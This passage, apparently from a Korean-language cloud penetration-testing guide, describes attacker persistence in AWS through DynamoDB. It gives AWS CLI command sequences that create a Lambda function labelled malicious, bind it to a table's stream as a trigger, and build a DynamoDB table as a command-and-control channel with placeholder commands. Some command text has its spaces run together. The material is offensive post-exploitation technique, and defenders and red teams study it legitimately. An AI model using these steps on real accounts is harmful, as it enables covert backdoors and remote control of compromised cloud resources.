DynamoDB 트리거를 사용하여 공격자는 악의적인 Lambda 함수를 테이블과 연결하여 은밀한 백도어를 만들 수 있습니다. Lambda 함수는 항목이 추가, 수정 또는 삭제될 때 트리거될 수 있어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있게 합니다.
# Create a malicious Lambda functionawslambdacreate-function \--function-name MaliciousFunction \--runtime nodejs14.x \--role <LAMBDA_ROLE_ARN> \--handler index.handler \--zip-file fileb://malicious_function.zip \--region <region># Associate the Lambda function with the DynamoDB table as a triggerawsdynamodbstreamsdescribe-stream \--table-name TargetTable \--region <region># Note the "StreamArn" from the outputawslambdacreate-event-source-mapping \--function-name MaliciousFunction \--event-source <STREAM_ARN> \--region <region>
영속성을 유지하기 위해 공격자는 DynamoDB 테이블에 항목을 생성하거나 수정할 수 있습니다. 이로써 악의적인 람다 함수가 트리거됩니다. 이를 통해 공격자는 람다 함수와 직접 상호 작용하지 않고 AWS 계정 내에서 코드를 실행할 수 있습니다.
DynamoDB를 C2 채널로 사용하기
공격자는 DynamoDB 테이블을 명령 및 제어 (C2) 채널로 사용할 수 있습니다. 이를 위해 명령을 포함하는 항목을 생성하고, 감염된 인스턴스 또는 람다 함수를 사용하여 이러한 명령을 가져와 실행할 수 있습니다.
# Create a DynamoDB table for C2awsdynamodbcreate-table \--table-name C2Table \--attribute-definitions AttributeName=CommandId,AttributeType=S \--key-schema AttributeName=CommandId,KeyType=HASH \--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \--region <region># Insert a command into the tableawsdynamodbput-item \--table-name C2Table \--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \--region <region>
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.